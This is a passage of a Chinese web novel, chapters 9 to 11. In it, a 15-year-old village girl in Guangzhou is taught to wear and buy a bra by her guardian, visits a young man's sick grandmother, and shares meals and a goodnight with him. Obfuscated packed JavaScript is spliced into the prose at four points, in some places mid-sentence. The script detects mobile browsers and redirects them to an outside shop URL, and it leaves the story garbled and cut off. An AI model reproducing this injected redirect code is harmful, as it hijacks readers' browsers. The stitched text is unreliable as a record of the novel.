高扬奶奶似乎看人有些不大分明,佝偻着脊背接过她们手里的菜,招呼她们坐下,“扬扬洗澡呢,马上就下来,你们坐,坐着等。” 孟琳坐不住,进了厨房先去做饭,她不叫高奶奶动手,干脆让青山陪着聊天。 青山不是个自来熟的性子,见高奶奶笑眯眯盯着她瞧,有些无所适从,她嘴角挤出个僵硬的笑,也不知道该说什么。 “姑娘,你叫啥?” “杨青山。”青山犹如被老师点了名字的学生,背绷得笔直,端正坐着。 高奶奶眯着眼凑近瞧她,有些惋惜又似懊恼,“哎呦,可惜我这老婆子眼睛不大好了,看不起你长什么样子,只能模模糊糊看个人影儿,年纪大了不中用了……” “我不好看的。”青山手指无意识动了动,“我长得又黑又瘦,个子也矮,脸上还有疤,没什么好看的。” 青山确实算不上好看,她从出生起就跟个小猫崽子似的,因着冻得狠了的缘故,总是带着一股病气,让人瞧着就不大欢喜。 她深深低下头去,自然也没看到高奶奶不大赞同的神情。 高扬洗了澡出来,就见着青山跟鹌鹑似的埋着头,相处了几天,他也大概摸清了青山的性子,知道她这是不自在。 他边擦头发边过去在奶奶和青山中间坐下,漫不经心地开口:“又找人陪你聊天呢小老太,您眼神不好就少说几句呗?” “混说什么呢你!”高奶奶状似要打他,“眼神不好跟说话有什么关系,你敢消遣你亲奶奶!” 祖孙俩闹作一团,青山松了口气,高扬刚洗完澡,浑身还冒着热气,灼灼烫着青山的脸,他身上清新的肥皂香味直往青山鼻孔里头钻,青山坐不住了,忙起身道:“我去厨房帮孟琳。” “我去吧。”高扬跟着起身,“你是客人,哪有让客人动手的道理。” “没关系。”青山笑笑,“我在家经常做的,正好可以尝尝我的手艺。” 高扬没再坚持,毕竟对于青山来说坐在这里似乎更煎熬。 孟琳似乎很会做饭,厨房里头井井有条,半点不见脏乱,青山问:“你经常干活?” “当然了。”孟琳掰着菜叶,头也不回道,“我平时那是懒得干活,以前在老家,什么活都得我干,干腻了,所以自己过就想舒坦一点。” “孟琳。”青山心不在焉地数着菜叶,“你的舞厅其实根本不需要我对不对,那你为什么还要把我捡回来?我明明是个麻烦……” “你不是。” “什么?” “你不是麻烦。”孟琳正色看她,眼里是前所未有的认真,她微微俯下身子两手握着青山的肩膀,“你是我的妹妹,我就应该对你好。” “……” 青山狼狈低下头,故作嫌弃,“谁是你妹妹……” 广州这边不吃辣,再加上高奶奶肠胃不大好,孟琳做得清淡,也没加什么调料,高扬看了一眼,转身出去了,回来时端了一盆炒鸡蛋放在青山面前,“多吃点,补补营养。” “就是,要多吃。”高奶奶看不清东西,夹了半天才把一根白灼菜心夹进青山碗里,“这么小的个子,不吃怎么长高,你看扬扬长得那么高,都是我养得好。” 老太太还不忘夸一把自己,青山哑然失笑,投桃报李地夹了筷鸡蛋回去,“谢谢奶奶,您也吃。” 天渐渐黑了,屋檐外不知何时又淅淅沥沥落起了雨,雨雾蒙蒙,城市大半街景隐在云雾里,只剩头顶一盏电灯泡幽幽泛光,照亮彼此。 阿让的伤不算严重,休息了几天就回来上班了。 孟琳还是往常那混不吝的模样,整天喝酒跳舞,喝醉了又往大街上一趴,青山和阿让满大街找人。 阿让问高扬借了些书给青山,高扬以前看得杂,什么书都有,青山也不管能不能看懂,一有空就抱着书啃。 自从去高扬家吃过饭后,两人很快便熟稔起来,高扬每回来舞厅都顺手给青山带点吃的喝的,惹得阿让好一顿嫉妒。 高扬每次都皮笑肉不笑地怼他:“你是小姑娘?” 阿让吃了瘪,又来烦青山,央着她分一点。 这回高扬给她带了瓶饮料,青山也不知道是什么,黑乎乎的,还以为是可乐,便欢天喜地地伸手去接。 阿让探了脑袋过来,目光在触及到那瓶东西时猛然缩了回去,破天荒地没有来要。 青山心里奇怪,也没多想,拧开瓶盖就闷了一大口。 “唔……” 青山小脸皱成一团,她感觉自己嘴巴里被人打了一拳,当即就要呕出来,阿让连忙捂住她的嘴哄她:“不许吐,可贵了,比可乐还贵!” 青山生生把那口比黄连还苦的东西咽了下去,猛地灌了好几杯水,直到对上高扬戏谑的目光,她才迟钝地反应过来:“你故意的!” “噗哈哈哈哈哈!”阿让早憋不住笑了,天知道刚才为了让青山喝下他忍得有多辛苦,“好喝吧?我之前也被他这么骗过,这味道……啧啧啧,简直了。” 高扬揉了下青山的脑袋,又把瓶子递了过去,“多喝点,下火的,你都长痘了,喝了就好了。” 这几天也不知道是不适应这里的气候还是怎么了,青山脸上冒起了许多红色的痘痘,里头包着脓,一碰就疼,她也不敢挤,只能等这些痘自己消下去。 她半信半疑看着那瓶毒药水,问:“真的?” “真的……吧?”高扬心虚地摸了下鼻子,他也不确定青山是什么原因长的痘,但试试总没错。 青山一看他那样子就知道不对劲,气得跳起来打他:“你骗我!” 青山张牙舞爪的,高扬不敢用力,只能低着头任她动作,玩闹间,身前似被一团柔软碰了一下,一触即离,快到几乎感受不出来,但高扬还是僵住了,他面色有些不自然,抓住青山的手不让她动,青山没明白他的意思,抬头愣愣地看他。 高扬瞥了眼打着哈欠的阿让,把人悄悄揽到一边,轻声问:“青山,你多大了?” “十五啊。”青山不解,她记得这个问题之前就告诉过高扬啊,怎么又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889061|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来问她一遍。 “那……”高扬咳了几声,眼神闪烁不敢看她,唇瓣蠕动了几下,但没说出来话。 青山很奇怪,他到底想说什么,怎么一副吞吞吐吐的模样,她问:“你要说什么?快说啊。” “我……”高扬还是没说出来,耳尖红了一片,最后泄气般放开她,“算了,你还不懂,我去跟孟琳说。” “啊?” 没多解释,高扬就转身准备离开,人都出去了一半,又折回来脱下了外套披在青山身上,“穿着,最近天冷。” “不冷啊。”青山被裹得不大舒服,挣扎了几下就要脱掉,舞厅里闷得紧,她正嫌热呢,哪里冷了。 “必须穿。”高扬止住青山的动作,不容分说地道。 他很少这么坚持一件事,高扬板着脸的时候还挺吓人的,青山被唬住了,任由他给自己拉上拉链。 高扬嘱咐道:“到了家才能脱,知道吗?以后出门穿得厚一点。” “哦……” 其实青山不大明白他的意思,但觉得现在还是乖乖照做比较好。 她坐了回去,看着高扬把舞池里疯狂扭动的孟琳拽了出去,也不知在说什么,总之回来的时候孟琳的眼神似乎在她身上停留了一瞬。 青山觉得怪怪的,是和她有关的事情吗,那为什么要避开她呢。 阿让困得要命,连打了几个哈欠,见青山这一身打扮,觉得稀奇得要命,哈欠也不大了,围着她看了好几圈,“这不高扬的衣服吗?怎么穿你身上了,我上回问他借衣服他宝贝得要命,说什么不喜欢别人穿他的衣服,怎么你穿就没事啊,还挺偏心呢他。” 高扬跟孟琳说完话回来,见阿让肆无忌惮地盯着青山瞧,跟瞧动物园里的猴子似的,他没客气,伸手打了下阿让后脑勺,“你给我离她远点!” 青山看着他们,总觉得不对劲,为什么要让阿让离她远一点,是不喜欢她吗。 她低低垂下头,抠着衣服上的纽扣,有些难过。 高扬见她这样子,也不知道该说什么,他一个半大不大的小伙子,跟姑娘家说什么似乎都很奇怪,又怕青山觉得他是个奇怪的人,只好什么也没说,道了个别就走了。 阿让没觉出青山的心思,以为高扬嫌他闹腾,撇了撇嘴没当回事。 青山一直难过到了下班回家,孟琳难得没喝醉,跟她一起回来了。 甫一进家门,孟琳便迫不及待把青山身上的外套脱了,伸着一双冰手往青山身前探。 青山被冰得一哆嗦,反应过来她做了什么之后瞪大了眼睛,又羞又气,“你干什么!” “我干什么?”孟琳也毫不客气,叉着腰问她,“杨青山,你几岁了,不知道要穿内衣吗?你真空就敢往外跑啊?” “什么内衣?”青山眼里含着泪,气得直瞪她。 “……” 孟琳这才反应过来青山是真不知道,她大脑空白了一瞬,随机心口翻涌着一种未知的情绪,她搡了把青山,把她带进了屋里,“你给我过来!” 9. 我教你穿 孟琳带着她进了自己房间,一通翻找之后,将几件花花绿绿的小衣服摆在床上,指给青山看:“这些就是内衣,没见过?” ”没……”青山怯怯摇头,她没见过这种衣服,妈没告诉过她,青南和青水似乎也不穿,都是拿布条一裹,看不出来就行。 “怎么会没见过呢?你妈没教过你吗?” 青山摇头,她妈对她说过最多的话就是,你怎么不去死?就连第一次的生理期,也是青南教她的,家里没有卫生巾那种东西,青南就叠了草纸给她垫着,可草纸薄,又不牢固,走两下便掉,后来青南就剪了两件衣服给她,倒是比草纸好用。 可青南没教过她内衣是什么东西。 孟琳一时有些无言,她以为这是每一个女孩最基本的常识,可现在看来不是这样的。 心中莫名涌上一股难以言喻的心疼,她看着面前这个一无所知的姑娘,有些无从下手。 她甩开那些花花绿绿的内衣,认真看了看青山的身材,道:“我的给你太大了,明天带你去买新的。” “算、算了吧。”青山踌躇开口,这些日子,她已经尽量不给孟琳添麻烦了,她知道孟琳也没什么钱,不然不会住在这样的地方,现在又多了一个她需要负担,要是再买点什么东西,日子只会越来越不好过。 她没说出缘由,但面上的表情已经彻底将她暴露,孟琳了然于心,道:“前几天呢,江妍给了我几张内衣店的优惠券,不用就浪费了……” 她微微拖长了尾调,似在诱哄,“这可怎么办呢?” “优惠券?”青山似懂非懂地重复了一遍,“那是什么?” 孟琳:“……” 她心念一动,这小丫头也不知道那个犄角旮旯的山沟沟里钻出来的,活像个原始人,不过这样也好,随她编了。 “优惠券就是……”孟琳眼珠一转,张口就来,“就是买东西不花钱!” “不花钱?”青山微微瞪大眼睛,这天底下还有这样的好事?她不敢苟同,自然也不大相信孟琳的话。 见人半信半疑,孟琳又大言不惭地补了几句,“是啊,我就说你山沟沟里来的没见过世面吧,你不知道,咱们城里人呢,为了招揽生意都会有一段时间的促销,就是为了吃点小亏赚点大钱,没见识了吧?” 其实青山没听懂,她书读得少,孟琳叽里呱啦说了一大堆,她并不能理解,只挑了重点问:“你的意思是……如果我们去买内衣就可以不用花钱?” “对啊,而且必须要尽快,不然等过了促销期就得花钱了,所以咱们明天就去。” ”哦……” 青山迟疑应了声,脑子还没转过弯来,便被孟琳赶去了外头,“行了睡觉去吧,咱们明天去百货商场,正好我也想新买几条裙子。” 她将人推了出去,临关门时见青山还是一头雾水的模样,忍不住偷笑了下,要骗个啥都不懂的毛丫头还不容易,亏得她傻没发现。 青山浑然不觉自己已经被孟琳定义成了傻子,她觉得有些怪怪的,却又实在不知道到底是哪里奇怪,只当自己太困了脑子不清醒,晃了晃脑袋便上床睡了。 广州的寒气总往人骨头缝儿里钻,哪怕穿了再厚实的衣裳仍然觉得冷得刺骨,青山受不了这冷,把自己往被子里一团,蒙头睡了。 第二天一大早,青山还在打头觉,就被孟琳从被窝里拽了出来,她一向风风火火,性子也急,青山睡眼惺忪,面色有些不打痛快。 “非得这么早吗?我好困啊。” “早点去好啊,人少,省得跟他们挤。” 百货商场早上确实人不多,青山是第一次来,见高楼林立,装饰辉煌,内心暗暗震惊,这里的人都精致不已,穿着小西服踩着高跟鞋,面上带着得体的笑容。 孟琳带着青山径直拐进了一家内衣店,立刻便有店员围了上来,问道:“两位小姐看看有什么喜欢的,咱们店里最近上了新货,可以试试。” 孟琳将青山一推:“我不买,给她买,看看有什么适合她的。” 店员温和的目光在青山身上停留了片刻,而后翻找了一会儿,拿了几件尺码稍小的放在青山身前比划,“小妹妹,你喜欢哪一件?你人瘦,穿小点的就行,现在这个年纪,重要的是要调整形状,这几件都是聚拢型的,比较适合你。” 青山眼神躲闪,大庭广众之下,她实在是不好意思。 孟琳接过店员手里的几件内衣,把青山往试衣间里带:“谢谢啊,我们先试试。” “好,不着急,二位慢慢试。”店员笑着为她们拉上了布帘。 一帘之隔,青山与孟琳面面相觑。 “要不……”青山试探性地询问,“你出去?” “我出去?”孟琳指了指自己鼻尖,一脸不可思议,“你确定?这东西你会穿?” 青山迟疑的目光在那团东西上顿了顿,“应该可以吧。” 孟琳才不管她,把手里的内衣放在一旁,不由分说就来剥青山的衣服,青山措手不及,羞得连忙捂住胸前,“你干嘛!” “你害什么羞啊,就你这身材还不如奶娃娃有料呢,我教你穿。” “诶不是……”青山还欲反抗,孟琳已经把人扒光了,随手拿起一件就往上套,青山面色羞得通红,低着头不敢看面前的镜子。 孟琳给她扣上背后的扣子,手臂围着她伸到前面,猛地一下透过那层薄薄的布料触到她,五指一用力尽数拢在那片布料里头。 “!” 青山一惊,身子瑟缩着想要向后退去,但身后就是孟琳,身前又只有镜子,她仿佛遇见了洪水猛兽,惊恐地想要避开。 “干嘛啊?”孟琳莫名其妙看着她,“咱们都是女人,你有的我都有,我还比你大呢,害什么羞啊,内衣就是这样穿的,你要把背后的扣子扣上,然后自己伸手把胸拢进来——” 她低头打量了下青山,满意道:“还行,挤一挤还是有的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889062|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青山:“……” 她们山里人哪见过这场面,一张脸红得能滴出血来,她连忙把孟琳搡出去,“好了我知道了,你去外边等着。” 孟琳被赶出来,只能嘱咐了句:“扣不上扣子喊我啊。” 青山:“……” 一旁的店员见人出来,迎上前问道:“尺码还可以吗,需不需要换一下?” “不用。”孟琳把人拉去柜台,拿了几张纸钞出来,“买两件,待会儿直接帮我们打包就行。” “好。” 孟琳是这儿的老主顾了,店员跟她也熟悉,一边打单子一边问,“那是你家亲戚?小姑娘怎么这么瘦?得多吃点啊。” “没。”孟琳从兜里拿了支烟出来,但没点火,就这么放在嘴边含着,“我妹妹,刚从家里边出来投奔我。” 里头的青山怔怔地看着自己暴露在外的身体,一丝冰凉的冷空气攀上肩膀,她蓦地颤了一下,心中涌上一股奇异的感受。 这就是内衣吗…… 孟琳说,每一个女孩子到发育期都要穿内衣,虽然穿着很难受,但它能够让身体减少摩擦,女孩子的身体很脆弱,需要用它来保护。 孟琳说,虽然穿内衣不是一道必须要遵守的命令,但在当下,不穿内衣势必会引来不怀好意的,鄙夷下流的目光,这并不是内衣的错,也不是不穿它的人的错,而是时代的局限性,有太多的枷锁锁住我们,内衣就是其中之一,在没有能力反抗之前,我们只能暂且妥协。 青山缓缓伸手抚上那片细腻的布料,几乎忘了呼吸,原来有衣服的料子可以做的怎么顺滑又柔腻吗。 她情不自禁看着镜子里的自己转了个圈,目光牢牢锁在自己身上,难得有些欣喜,不是为买了新衣服欣喜,是为自己似乎又离被这座城市接纳所靠近了一步。 青山出来时,又把内衣都脱下抱在手里,孟琳见人出来,问了一嘴:“怎么样?喜欢哪一件?好像都差不多,是不是颜色不一样?” “对。”店员应声道,“款式都是差不多的,可以挑自己喜欢的颜色。” 青山嗫嚅着道:“黑色吧,耐脏一点。” “穿在里面的衣服要耐什么脏啊。”孟琳不赞同地起身,挑拣了一番,问,“白色呗?黑色多老气,这个浅蓝色也不错,你觉得呢?” 青山没有孟琳那么强大的心理素质,这会儿慌乱得连眼睛都不知道往哪儿放,含糊应了声:“都行,你看着挑吧。” “那就这两件。”孟琳拍板,“买回去不喜欢可别跟我闹啊。” 其实青山对颜色不大挑,有的穿就不错了,家里很少买新衣,她的衣服都是青南以前穿剩下的,倒是青水有几件新的,那也是青南后来给买的。 店员将两件内衣打包起来递给孟琳,笑着道:“两位慢走。” 青山还是不大放心,多嘴问了句:“真的不用付钱直接拿走?” 店员表情愣了一瞬,动了动嘴唇要说什么。 10. 鸡蛋面 孟琳连忙冲她使了个眼色,店员心领神会,点头道:“对呀,这是我们店的优惠活动,欢迎你下次再来。” 孟琳松了一口气,站在原地挠头发。 听店员都这么说了,青山便信以为真,“好……谢谢你。” “行了快走吧你。”孟琳嫌弃地把她拽回来,边走边道,“人不大话还挺多。” “我问问而已,天底下哪有白送的东西啊。” “怎么没有?”出了商场,孟琳找了个没人的小巷拐了进去,熟练地打开打火机,站得离青山远了些,“那些城里人比你聪明多了,怎么样能留住客人,当然是给他们占便宜啊——” 她伸手点了点地上的购物袋,道:“这就是便宜。” 青山白了她一眼,不是很想理会她这些歪门邪道。 孟琳过了烟瘾,将烟头踩灭扔进了路边垃圾桶,想了想又嘱咐道:“这几天还继续看书啊,高扬不是借了你课本吗,你自己先学学。” 青山没听出她话里的意思,理所当然地点头:“你不说我也知道,放心吧。” 她以为是孟琳觉得她太傻,想让她多读点书,也没深究。 最近青山学会了做果盘,自告奋勇地要包揽下所有果盘,阿让便随她去了。 高扬搬来酒水时见青山吭哧吭哧削着果皮,而阿让坐在一边悠哉悠哉翘着脚打瞌睡,没忍住踹了他一脚:“压榨童工?” 阿让被踹得险些一屁股坐地上,大声喊冤:“不是,真不是我啊,是咱妹妹想干啊!” “真的。”青山小声补充,“我想多做点事。” 高扬眯着眼瞪阿让,重重捏了下他的肩膀,留阿让一个人在原地呼痛,长腿一迈,三两步便走到青山身边,道:“我帮你。” “不用。”青山惶恐地挪开手不让他碰,这本来就是她分内的活儿,哪好意思叫别人帮忙。 “没事。”高扬小心接过青山手里的水果刀,不让她碰着,“当心手,你摆盘吧,我给你切。” 少年瘦高的个子挡在青山面前,遮住了一部分昏暗的灯光,青山忍不住抬头看他,他总是一副很累的模样,眼下青黑明显,衬得面色更加苍白。 “没睡好吗?”青山没忍住问出了声。 “嗯?”高扬削皮的手一顿,很意外她会这么问。 “你看上去很累。” “哦……”高扬笑了下,眼里蕴起暖暖的微光,“奶奶这几天身体不大好,一直带她跑医院呢。” “没事了吧?奶奶现在还在医院吗?” 青山心里一紧,指尖无意识地捻着落在桌上的果皮,急急地看向他。 “已经好很多了。”高扬冲她安抚一笑,“她偷吃冰棍犯了肠胃炎,这几天天天捂着肚子喊疼呢,吊了几次针倒是好多了。” “那……”青山还是放心不下,想了想道,“要不等会我跟你一起回去看看她?奶奶睡得早吗,要是睡了我就不打扰了。” “她哪睡得着,好几天没睡过一个安稳觉了,你要是去看她,说不定她一高兴就能睡着了。” “那好,等会我就去看她。” 下了班,如高扬所说,高奶奶果真还没睡,倚在床边听着收音机里的戏文,微阖着眼摇头晃脑,看上去精神头还好。 青山微微放下心来,高扬搬了把凳子给她坐下,轻声在奶奶耳边唤:“奶奶,青山来看你来了。” 青山忽然意识到自己是空着手上门的,有些不好意思,但奶奶很高兴,一听青山来了,连忙摸索着来探她的手。 她将手伸过去握住高奶奶的手,还没来得及开口,一股奇怪的味道就强横地冲入鼻尖,青山本能地皱起眉头,有些作呕。 高扬从床底下掏了个盆子出来,那盆子里不知装了什么东西,青山没看清楚,他身子挡着,极快地出去了,那股味道也随之渐渐消散。 高奶奶也闻到了这股味道,她似乎有些不好意思,下垂的皱纹也泛着一丝红意,“我这几天闹肚子嘛,人老了憋不住……不小心就解到裤子上了,都是扬扬给我洗的。” 不知怎的,青山几乎要落下泪来。 她强忍着情绪安抚奶奶,“没事的奶奶,您病好一些了吗?还难不难受?” “现在好多了,不怎么想上厕所了。” “那就好。”青山给奶奶掖上被子,叮嘱道,“以后不能乱吃东西了,老人家都肠胃脆弱,受罪了就不好了。” “诶,我知道……” 高奶奶其实没有多少精力讲话,说了没几句就受不住要躺在床上休息,青山给奶奶关了灯,独自出了门。 外头院子里,高扬头顶着一盏老旧的钨丝灯,弓着腰在给奶奶洗脏污的裤子,劲瘦的腰身随着他的动作而浅浅露出些来,四溅的水花洇湿衣服,紧紧贴在他身上,勾勒出一道完美的弧线。 青山眼眶发热,总觉得不该是这样的。 明明屋内还整齐摆放着他从前看过的书,他借给自己的书里头仔仔细细标着批注,字迹干净整洁,阿让说他以前学习成绩很好,总是年级第一,有时候青山在舞厅背书,偶尔也会听到高扬轻轻跟着背的声音,看到他渴望又隐忍地抚过书本的封面。 他也才十八岁而已。 在本该好好读书的年纪,他过早地担负起了异常沉重的责任,可明明不该是这样的。 蹲在狭小逼仄的洗手台边,高扬拧干水迹,站起身准备往屋里走,却见青山愣在门口红着一双眼睛看他,高扬微微诧异,不知道小姑娘这是怎么了,他思索片刻,道:“饿了吗?给你下碗面?” 青山自知自己的失态,慌忙低下头掩饰,含糊应了声便不再看他,埋头往屋里钻。 高扬厨艺挺好,哪怕是最简单的青菜鸡蛋面也做得色香味俱全,热气腾腾地打在青山脸上,她顿时食欲大开,咽了咽口水就要开动。 正要把面送进嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889063|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,青山想到什么倏地停下,问对面坐着的高扬,“你不吃吗?” “我不饿。”高扬摇头,撑着下巴认真地看向青山,眼里似有流光浮动,“你吃吧,看你吃我就高兴。” 青山面上一热,脑子似乎被冻住了,她埋头苦吃,仿佛这样就能把头顶上那道深邃的目光减淡些许。 面条入口顺滑,几乎没放什么调料,只有盐和生抽提色,荷包蛋一□□浆,黄澄澄的蛋液顺着唇齿流出来,满口都是鸡蛋的醇香。 青山不由自主地挑眉,眼里满是惊喜:“好好吃!高扬哥你怎么做的?” 见她吃得高兴,高扬也跟着眯起了眉眼,小姑娘两眼亮晶晶的,呈着满目星河,露出少女独有的娇憨与可爱,他特意卖了个关子,“喜欢啊?喜欢的话以后常来,我给你做,不过不能窃取我的独门秘方哦。” “切。”青山皱着鼻子佯装嫌弃,“谁要你的秘方,我才不想自己动手呢,能吃现成的我高兴还来不及。” 青山本意是想臊一臊他,没想到高扬却极为认真地赞同,“是吧,女孩子不用做饭,沾了一身油烟味儿往后想洗掉都难。你看我奶奶,爷爷在的时候从来没进过厨房,后来爷爷走了,她才学着做饭的。” 她低头嗦面,安静的房间里一时只剩她细微的嗦嗦声,青山第一次听到有人说女孩子不用做饭,一时不知该说什么。 二人相对而坐,高扬盯着青山头顶的发旋儿瞧,来广州这些日子,她似乎长了点肉,不再瘦瘦小小一个,第一次见到她的时候,他还以为是哪儿窜出来的小老鼠。 好像皮肤也白了些,眼睛还是亮得惊人,嗯……食量也长了,这个年纪的孩子正是长身体的时候,一天三顿不够吃的,高扬就是这么过来的,自然知道青山正是吃得多的时候。 他无声笑了笑,抿了口手里的温水,窗外夜色沉沉,整座城市已然安睡,漆黑一片什么都看不到,唯余窗户上倒映出的他们的身影,他看得心里一暖,往常总嫌弃不够亮堂的灯泡却在此刻显得刚刚好,橙黄的灯光洒在青山发丝上,莹莹拢了一层暖光。 没几分钟后,青山吃完了,端着碗想去洗了,高扬接过她手里的碗往洗碗池一放,从屋里拿出件外套披在她身上,道:“走吧,我送你回去。” “好。”青山点头,顺从地应了。 月色笼罩下,两人的影子被拉得很长,青山似乎整个儿被高扬挡住了,影子随着他们走动的角度时有时无,她故意走慢了几步,悄悄在后头偷看那两团黏在一起的黑影。 高扬察觉她落下,便也放慢了脚步等她,余光里瞥见青山欢脱的动作,她似乎在踩地上的影子,高扬失笑,明明自己已经疲惫到了极点,在这一刻,他却觉得自己身上格外轻松,他希望时间长一点,再长一点,最好永远没有尽头。 但这终究只是祈愿,二人很快到了孟琳家门口,青山将外套脱给他,低着头嗫嚅道:“那……我走了?” 11. 晚安 “嗯。”高扬没动,只淡淡应了声。 青山有些别扭,她也说不清这别扭从何而来,但想了想,她似乎不能将不满发泄在高扬身上,于是抿了抿唇就要转身。 而在此刻一抹温热覆上头顶,高扬揉了揉她毛茸茸的脑袋,轻叹道:“晚安,小姑娘。” 青山被摸得一缩脖子,全身血液都往头皮那处涌,她觉得自己轻飘飘的,像瓶可乐一样不停地咕嘟咕嘟冒泡,而后一个个小泡泡噼啪炸开,炸得她脑袋都在发昏。 ”晚、晚安。”她的声音细弱蚊蝇,堵在嗓子眼儿里,也不知道高扬听到没有。 她怔怔看着高扬远去的背影,少年身形高挑瘦长,在月色映照下显出紧实的腰身,晚风掠过,吹动他轻柔的发丝,露出粉红色的耳尖,青山眼神闪烁,僵硬地转身进门。 孟琳还没回来,屋里漆黑一片,青山在高扬家吃饱喝足之后有些困了,便埋头将自己捂在被窝里睡去。 她是被门口的动静吵醒的,孟琳似乎并不是一个人回来的,隐隐约约还有男人的声音,青山猛地惊醒,怕孟琳出什么事,连忙起身开门。 门外竟然是阿让。 见青山探出头来,他总算松了一口气,“诶,来得正好,我正愁开不开门呢。” 青山没搞懂这是什么状况,孟琳仰面倒在地上,一副神志不清的模样,阿让看上去也没好多少,衣衫狼狈发丝凌乱,看上去像是跟人打了一架。 “你们……这是怎么了?” 阿让把孟琳拖到床上,扶着后腰起身摇头摆手,“倒霉催了真是,大半夜还跑了趟警局。” “怎么了?”青山对警察局有心理阴影,一提起警局就想起那天陈老板的事,她缩了缩手指,看着阿让满头大汗的样子,还是先给他倒了杯水递过去。 “别提了。”阿让不客气地接过水杯灌了自己一大杯水,缓过气来才到,“我上回跟你说的,就是孟姐那个前男友,不是快结婚了嘛,又来咱们舞厅里头来玩,好像是陪客户吧,结果被他那个未婚妻知道了,以为他是来见孟姐的,好家伙那个一通闹,生意都没法做了,还往警局跑一趟。” “那你们没事吧?受伤了吗?”青山紧张地往阿让身上看。 阿让摆手,“哪能啊,就是被砸坏了点东西,人倒是没事,不过我看孟姐不大好受,从警局出来又把自己灌了个烂醉,我怎么拦都拦不住。” “我看她是余情未了,这男的都这么对她了,你说她为什么还忘不掉他啊,有那么好吗这男的。” 不知道为什么,青山脑海里突然浮现出一道瘦高的身影,她蓦地开口:“因为救赎吧。” “嗯?” “在最绝望的时候,愿意伸手拉你一把的人,你情不自禁地把他视为救赎,因为曾经的美好太过真实,所以无论如何也不想忘掉,对我来说,你,孟琳,高扬,就是我的救赎,我一辈子都不想忘掉你们,对孟琳来说,那个男生也是她的救赎,人怎么会忘掉黑暗里的一点星光呢。” 也不知道阿让听进去了没有,反正又嬉皮笑脸同青山插科打诨,“行啊妹妹,没白读书哦讲的话那么深奥,哥都听不懂了——不过哥对你来说真的有那么重要吗?” 阿让是本着开玩笑的心态问的,没想到青山尤为认真,两眼直勾勾地盯着他看,不掺杂一丝杂质,“嗯,你很重要,孟琳很重要,高扬也很重要,你们对我来说,都是家人。” “……我去。”阿让低低骂了声,“大半夜的煽什么情,怪让人感动的……” 青山没忍住笑出声,她还是第一次看见阿让害羞的样子,怪可爱的。 已经很晚了,阿让也不好多待,没说两句他就要走,青山将人送出门,又折回厕所给孟琳端了盆水过去。 她爱美,不把妆卸了明天又得嚎一早上。房间内,孟琳四仰八叉躺着,浑身酒气冲天,青山被熏得不大舒服,捂着鼻子给她收拾完才出去。 这么一折腾,她也没睡好,还不容易挨到了天亮,青山想了想,起身出门了。 广州的清晨很热闹,烟云缭绕,大街小巷都藏着早点摊,从孟琳家出去,正对着有一条老街,老街很宽阔,店面也多,卖包子的,馄饨摊的,理发的,修鞋的,大小买卖吆喝着,人来人往热络挨挤。 青山想,这大概就是人气儿。 热腾腾的水汽扑在她面上,细软的绒毛挂上水珠,叫她整个人暖融融的,她要了几碗生滚粥,一路提回了高扬家。 许是太早的缘故,高扬家还没开门,青山趴在门上侧耳听了听,里头有动静,她这才放心拍了拍门。 渐渐清晰的脚步声传来,木门吱呀一声被人从里面打开,高扬措不及防对上一张红扑扑的笑脸,他有些意外,连忙接过她手里的袋子,问:“怎么这么早过来了,不多睡会?” “睡不着了。”青山跟着他进屋,“昨天半夜孟琳喝醉了,阿让哥送回来的,我把她收拾好就睡不着了,还有点放心不下奶奶,所以过来看看。” “奶奶好多了,今天可以不用吊水了,你先坐。” 高奶奶已经醒了,只是人还不大爽快,恹恹的没有精神,听高扬说青山在外头她倒是高兴了许多,披了外衣就出来找她。 “奶奶,怎么不把衣服穿好?” 青山扶着她坐下,细细地把纽扣都给扣上,这才将桌上的粥打开,“奶奶,你肠胃不好,喝点粥吧,现在不能吃太多。” 高奶奶看东西不大分明,青山给她领口兜了几张纸巾,舀起一口粥吹凉喂给她。 高扬还在屋里叠被子,他从早上起来就没停过,等会儿还得去看店,青山叫了他一声:“高扬哥,你也来吃饭吧。” “行,马上来。”高扬掸了掸床单,开窗通风之后才走过来坐下。 “买的什么?”他凑近看了眼,“牛肉生滚粥啊,老太太你有福了,青山工资不高呢,还舍得给你买这个。” “那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 